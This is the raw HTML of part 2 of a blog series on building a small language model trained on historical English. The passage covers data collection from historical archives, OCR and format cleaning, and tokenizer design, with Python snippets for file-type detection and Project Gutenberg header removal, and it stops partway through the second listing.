&lt;p&gt;A simple phrase like &lt;strong&gt;&lt;code&gt;Quoth the alderman, &#39;Tis a fair day at Newgate&lt;/code&gt;&lt;/strong&gt; becomes dozens of meaningless fragments, losing both historical context and linguistic coherence. This fragmentation is why we built a custom tokenizer trained specifically on historical English patterns, ensuring the model can generate coherent, historically accurate text.&lt;/p&gt;
&lt;p&gt;As a reminder, both the SLM (117M parameters) and Regular Model (354M parameters) utilize the same training code and infrastructure, including GPU optimization, checkpointing, and WandB integration. The only difference lies in the model architecture parameters, which are specified in &lt;code&gt;config.py&lt;/code&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;🔗 GitHub Repository&lt;/strong&gt;: &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		github.com/bahree/helloLondon
	&lt;/span&gt;
&lt;/a&gt; - Complete source code for data collection (&lt;code&gt;02_data_collection/&lt;/code&gt;) and tokenizer training (&lt;code&gt;03_tokenizer/&lt;/code&gt;). We will see the relevant code snippets in this post show key concepts—see the full implementation in the repository.&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;🧱 Series Posts&lt;/strong&gt;: &lt;a
	
		href = &#34;/post/2025/09/building-llm-from-scratch-part1/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 1 – Using the Published Historical Models
	&lt;/span&gt;
&lt;/a&gt; | Part 2 (this post) | &lt;a
	
		href = &#34;/post/2025/11/building-llm-from-scratch-part3-model-architecture-gpu-training/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 3 – Training Architecture &amp;amp; GPU Optimization
	&lt;/span&gt;
&lt;/a&gt; | &lt;a
	
		href = &#34;/post/2026/01/building-llm-from-scratch-part4-evaluation-deployment/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 4 – Evaluation &amp;amp; Deployment
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What will you learn?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This project provides hands-on experience with real-world LLM development challenges, including data collection from over 218 historical sources, cleaning OCR errors and encoding issues, and developing custom tokenizers for historical text. Unlike theoretical tutorials, you receive complete, runnable code that demonstrates actual trade-offs and decisions—such as choosing BPE over WordPiece or handling different file formats—that you&amp;rsquo;d encounter in any serious LLM project.&lt;/p&gt;
&lt;p&gt;While operating at a learning scale, the principles taught here directly apply to larger systems. Data collection patterns, cleaning strategies, and tokenizer design principles scale from our 500M character corpus to the 500B+ character datasets used in production models.&lt;/p&gt;
&lt;h2 id=&#34;11-high-level-process-overview&#34;&gt;1.1 High-Level Process Overview&lt;/h2&gt;
&lt;p&gt;The complete pipeline transforms raw historical documents into a working language model through five key stages:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Data Collection&lt;/strong&gt;: 218+ historical sources (1500-1850), including literature, newspapers, court records, and personal diaries&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cleaning Pipeline&lt;/strong&gt;: Handles multiple file formats (PDF, HTML, XML, TXT) while removing OCR artifacts and preserving authentic historical language&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Quality Validation&lt;/strong&gt;: Removes duplicates, filters non-English content, and ensures only meaningful historical text reaches the final corpus&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Custom Tokenizer Training&lt;/strong&gt;: BPE-based tokenizer with ~150 special tokens capturing archaic pronouns, historical landmarks, and period-specific terminology&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Model Training&lt;/strong&gt;: Two language models (SLM 117M and Regular 354M parameters) trained on the same historical corpus&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The result is a system capable of generating authentic historical text that captures the linguistic patterns and cultural context of 1500-1850 English. &lt;a href=&#34;#fig1&#34; class=&#34;figure-ref&#34;&gt;Figure 1&lt;/a&gt; illustrates this complete pipeline:&lt;/p&gt;
&lt;figure class=&#34;align-center &#34; id=&#34;fig1&#34;&gt;
    &lt;pre class=&#34;mermaid&#34;&gt;graph TD
    A[📚 218+ Historical Sources&amp;lt;br/&amp;gt;1500-1850] --&amp;gt; B[🔍 Data Collection&amp;lt;br/&amp;gt;Download and Filter]
    B --&amp;gt; C[🧹 5-Phase Cleaning Pipeline&amp;lt;br/&amp;gt;Format-Specific Processing]
    C --&amp;gt; D[📊 Quality Validation&amp;lt;br/&amp;gt;Duplicate and Language Detection]
    D --&amp;gt; E[📝 500M+ Character Corpus&amp;lt;br/&amp;gt;Clean Historical Text]
    E --&amp;gt; F[🔤 Custom Tokenizer Training&amp;lt;br/&amp;gt;BPE with 150+ Special Tokens]
    F --&amp;gt; G[🤖 Language Model Training&amp;lt;br/&amp;gt;SLM 117M + Regular 354M]
    
    style A fill:#e1f5fe
    style E fill:#f3e5f5
    style F fill:#fff3e0&lt;/pre&gt;
    &lt;figcaption&gt;Figure 1: Complete Historical Text Processing Pipeline&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2 id=&#34;2-data-collection-the-foundation-of-historical-language-modeling&#34;&gt;2. Data Collection: The Foundation of Historical Language Modeling&lt;/h2&gt;
&lt;p&gt;Let us dig deeper into steps 1-4: data collection, cleaning, validation, and corpus creation. The data collection system processes over 218 sources spanning the years 1500-1850 to create a corpus of over 500 million characters of authentic historical English text. But collecting historical data isn&amp;rsquo;t just about downloading files - it&amp;rsquo;s about handling the sheer variety of formats and quality levels that historical documents present.&lt;/p&gt;
&lt;p&gt;Historical documents come in all shapes and sizes - scanned books with OCR errors, HTML pages with messy markup, XML archives with rich metadata, and plain text files with inconsistent encoding. This is especially true for the earlier periods, when the quality of the documents can vary significantly, and most modern techniques for processing them struggle to cope. This data diversity requires a cleaning pipeline that transforms raw historical documents into training data while preserving the authentic language patterns of 1500-1850 English.&lt;/p&gt;
&lt;h3 id=&#34;21-system-architecture-processing-218-historical-sources&#34;&gt;2.1 System Architecture: Processing 218+ Historical Sources&lt;/h3&gt;
&lt;p&gt;The data collection system employs a modular architecture, with &lt;strong&gt;&lt;code&gt;historical_data_collector.py&lt;/code&gt;&lt;/strong&gt; serving as the primary orchestration engine, coordinating with a &lt;strong&gt;&lt;code&gt;data_sources.json&lt;/code&gt;&lt;/strong&gt; configuration file that contains metadata for over 218 historical sources. This enables easy management and updates without code changes.&lt;/p&gt;
&lt;p&gt;Supporting scripts include &lt;strong&gt;&lt;code&gt;add_data_source.py&lt;/code&gt;&lt;/strong&gt; for interactive source addition with built-in validation, and &lt;strong&gt;&lt;code&gt;generate_report.py&lt;/code&gt;&lt;/strong&gt; for comprehensive reporting and analysis across multiple output formats.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;&lt;code&gt;data_sources.json&lt;/code&gt;&lt;/strong&gt; file contains metadata for each source, including time periods, formats, licensing, and processing priorities. Each entry includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;time_period&lt;/code&gt;&lt;/strong&gt; (e.g., [1690, 1800] for London Lives)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;format&lt;/code&gt;&lt;/strong&gt; (XML, HTML, PDF)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;priority&lt;/code&gt;&lt;/strong&gt; (high/medium/low)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;search_terms&lt;/code&gt;&lt;/strong&gt; for collection guidance&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Our data sources span multiple categories, each contributing unique perspectives to the historical corpus.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Project Gutenberg:&lt;/strong&gt; This provides foundational literature with 8+ carefully selected texts, using relaxed quality criteria that accept texts with as low as 40% meaningful words to capture the full spectrum of historical writing styles.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Historical Archives:&lt;/strong&gt; Historical Archives like &lt;em&gt;London Lives&lt;/em&gt; (240,000 pages of personal records) and &lt;em&gt;Old Bailey&lt;/em&gt; (197,000+ trial transcripts) offer rich historical content and were initially enabled in our data collection.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Note: I was using the aggressive cleaning earlier (enabled using the &lt;code&gt;aggressive_cleaning&lt;/code&gt; flag designed to remove structured legal data and semantic markup), and discovered that it was too aggressive and caused generation quality issues. After initial training runs revealed repetitive and incoherent text patterns, I turned off these sources. Enabling this back might be an exercise for you to try.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Archive.org:&lt;/strong&gt; Archive.org has an API access that can be used for file filtering, and this makes it relatively straightforward.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The National Archives (TNA):&lt;/strong&gt; TNA records contribute government correspondence and official documents that provide the institutional context for historical events.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;British History Online:&lt;/strong&gt; Finally, these supplements our collection with historical surveys and period documents that offer scholarly perspectives on the time periods we&amp;rsquo;re modeling.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;However, each source type presents unique technical challenges that require specialized processing approaches. One example is Project Gutenberg, which contains files with standardized headers and footers that must be removed. (As a side note, I really appreciate the effort that has gone into this to make this formatting consistent, which makes the process of this relatively straightforward.)&lt;/p&gt;
&lt;p&gt;On the other hand, PDF files often suffer from OCR errors, especially for older documents that contain corrupted historical language, requiring sophisticated text correction algorithms to restore proper spelling and grammar from scanned documents. The figure below shows one example of how older documents look. This example is &amp;ldquo;The abridgment of the charter of the city of London&amp;rdquo; from 1680.&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&#34;images/charter-city-of-london.png&#34; alt=&#34;The abridgment of the charter of the city of London&#34; title=&#34;The abridgment of the charter of the city of London&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 2:&lt;/strong&gt; The abridgment of the charter of the city of London (1680) - showing faded text and ink blots typical of historical documents&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;As you can see, the text is faded, has ink blots, and the font style is very different from modern text. OCR software often misinterprets characters in such documents, resulting in numerous errors, as illustrated in the image below. These OCR artifacts can severely degrade the quality of our training data if not properly addressed.&lt;/p&gt;
&lt;figure&gt;
&lt;img src=&#34;images/charter-city-of-london-ocr.png&#34; alt=&#34;OCR - Charter of the city of London&#34; title=&#34;OCR - Charter of the city of London&#34;&gt;
&lt;figcaption&gt;&lt;strong&gt;Figure 3:&lt;/strong&gt; OCR errors in the charter document - showing how optical character recognition struggles with historical fonts and document quality&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;HTML files&lt;/strong&gt; from sources like Archive.org contain navigation elements, advertisements, and modern web markup that contaminate the historical corpus, demanding careful content extraction that preserves only the meaningful historical text.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;XML archives&lt;/strong&gt; like London Lives and Old Bailey require specialized parsing to extract meaningful text while preserving semantic markup that provides context about speakers, dates, and document structure - a delicate balance between removing technical artifacts and maintaining historical authenticity.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Government records&lt;/strong&gt; from TNA often contain bureaucratic formatting, form fields, and institutional language that need careful filtering to extract the human stories and historical narratives.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;British History Online&lt;/strong&gt; documents present challenges with academic formatting, footnotes, and scholarly apparatus that must be processed to maintain readability while preserving the scholarly context that makes them valuable for historical language modeling.&lt;/p&gt;
&lt;h3 id=&#34;22-cleaning-pipeline&#34;&gt;2.2 Cleaning Pipeline&lt;/h3&gt;
&lt;p&gt;I implement a 5-stage cleaning pipeline that helps transform the raw historical documents into training-ready text. Each phase addresses specific challenges that would otherwise contaminate our language model training.&lt;/p&gt;
&lt;h4 id=&#34;221-stage-1-file-discovery--initial-filtering&#34;&gt;2.2.1 Stage 1: File Discovery &amp;amp; Initial Filtering&lt;/h4&gt;
&lt;p&gt;Historical archives often contain files in various formats, which may be missing proper file extensions or have non-standard naming conventions. Many files contain non-English content that would contaminate our English historical corpus. Additionally, many sources employ their own templates and standards for this purpose. To resolve this, we first implement a simple file detection and naming cleanup, as shown in &lt;a href=&#34;#listing1&#34; class=&#34;listing-ref&#34;&gt;Listing 1&lt;/a&gt;. The code itself is simple and self-explanatory.&lt;/p&gt;
&lt;figure id=&#34;listing1&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;detect_file_type&lt;/span&gt;(file_path: &lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Detect file type based on extension and content analysis&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Extension-based detection&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; file_path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;endswith((&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;.txt&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;.txt.utf-8&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;_txt.utf-8&amp;#39;&lt;/span&gt;)):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;text&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;elif&lt;/span&gt; file_path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;endswith((&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;.pdf&amp;#39;&lt;/span&gt;,)):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;pdf&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;elif&lt;/span&gt; file_path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;endswith((&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;.html&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;.htm&amp;#39;&lt;/span&gt;)):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;html&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;elif&lt;/span&gt; file_path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;endswith((&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;.xml&amp;#39;&lt;/span&gt;,)):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;xml&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Content-based detection for files without extensions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(file_path, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        content &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; f&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;read(&lt;span style=&#34;color:#f5a97f&#34;&gt;1024&lt;/span&gt;)  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Read first 1KB&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;lt;html&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; content&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;lower() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;or&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;lt;!doctype&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; content&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;lower():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;html&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;elif&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&amp;lt;?xml&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; content&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;lower():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;xml&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;elif&lt;/span&gt; content&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;isascii() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;and&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;b&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\x00&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; content:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;text&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;binary&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 1: File Type Detection Function&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;When we run this locally, we will see the flow as outlined below, which illustrates how the detection works. This, of course, can be made more robust for non-English characters, but for now, we reject these.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;File Type Detection Flow:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;📁 Raw Files (218+ sources)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ↓
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;🔍 File Type Detection
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ├── .txt, .txt.utf-8, _txt.utf-8 → Text Processing
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ├── .pdf → PDF Processing  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ├── .html, .htm → HTML Processing
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ├── .xml → XML Processing (Old Bailey, London Lives)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    └── No Extension → Content Detection
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ├── HTML-like content → HTML Processing
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ├── Text-like content → Text Processing
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        └── Binary/Unknown → REJECTED
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ↓
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;🚫 Filename Language Check
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ├── Non-English characters → REJECTED (logged)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    └── English/Latin → Continue&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Historical archives often lack standardized file extensions and contain content in languages other than English. Our two-stage detection ensures we capture valuable historical documents while filtering out irrelevant files, preventing both data loss and processing waste.&lt;/p&gt;
&lt;h4 id=&#34;222-stage-2-format-specific-content-extraction&#34;&gt;2.2.2 Stage 2: Format-Specific Content Extraction&lt;/h4&gt;
&lt;p&gt;Each file format requires specialized processing due to its unique contamination sources, including Project Gutenberg headers, PDF OCR errors, HTML navigation elements, and XML structural markup. Our format-specific extraction functions clean these artifacts while preserving authentic historical content.&lt;/p&gt;
&lt;h5 id=&#34;text-files-txt-txtutf-8&#34;&gt;&lt;strong&gt;Text Files (.txt, .txt.utf-8)&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;Project Gutenberg texts contain standardized headers and footers that would confuse our language model. The cleaning process removes these while preserving the actual historical content. The code snippet in &lt;a href=&#34;#listing2&#34; class=&#34;listing-ref&#34;&gt;Listing 2&lt;/a&gt; demonstrates this approach and is quite straightforward. Of course, this can be made more robust, but this works well for our selected texts.&lt;/p&gt;
&lt;figure id=&#34;listing2&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;clean_gutenberg_text&lt;/span&gt;(text: &lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;) &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;str&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Clean Project Gutenberg text by removing headers/footers and metadata&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    lines &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;split(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cleaned_lines &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    in_content &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; line &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; lines:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Skip Gutenberg headers (before &amp;#34;*** START OF&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;*** START OF&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; line:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            in_content &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;
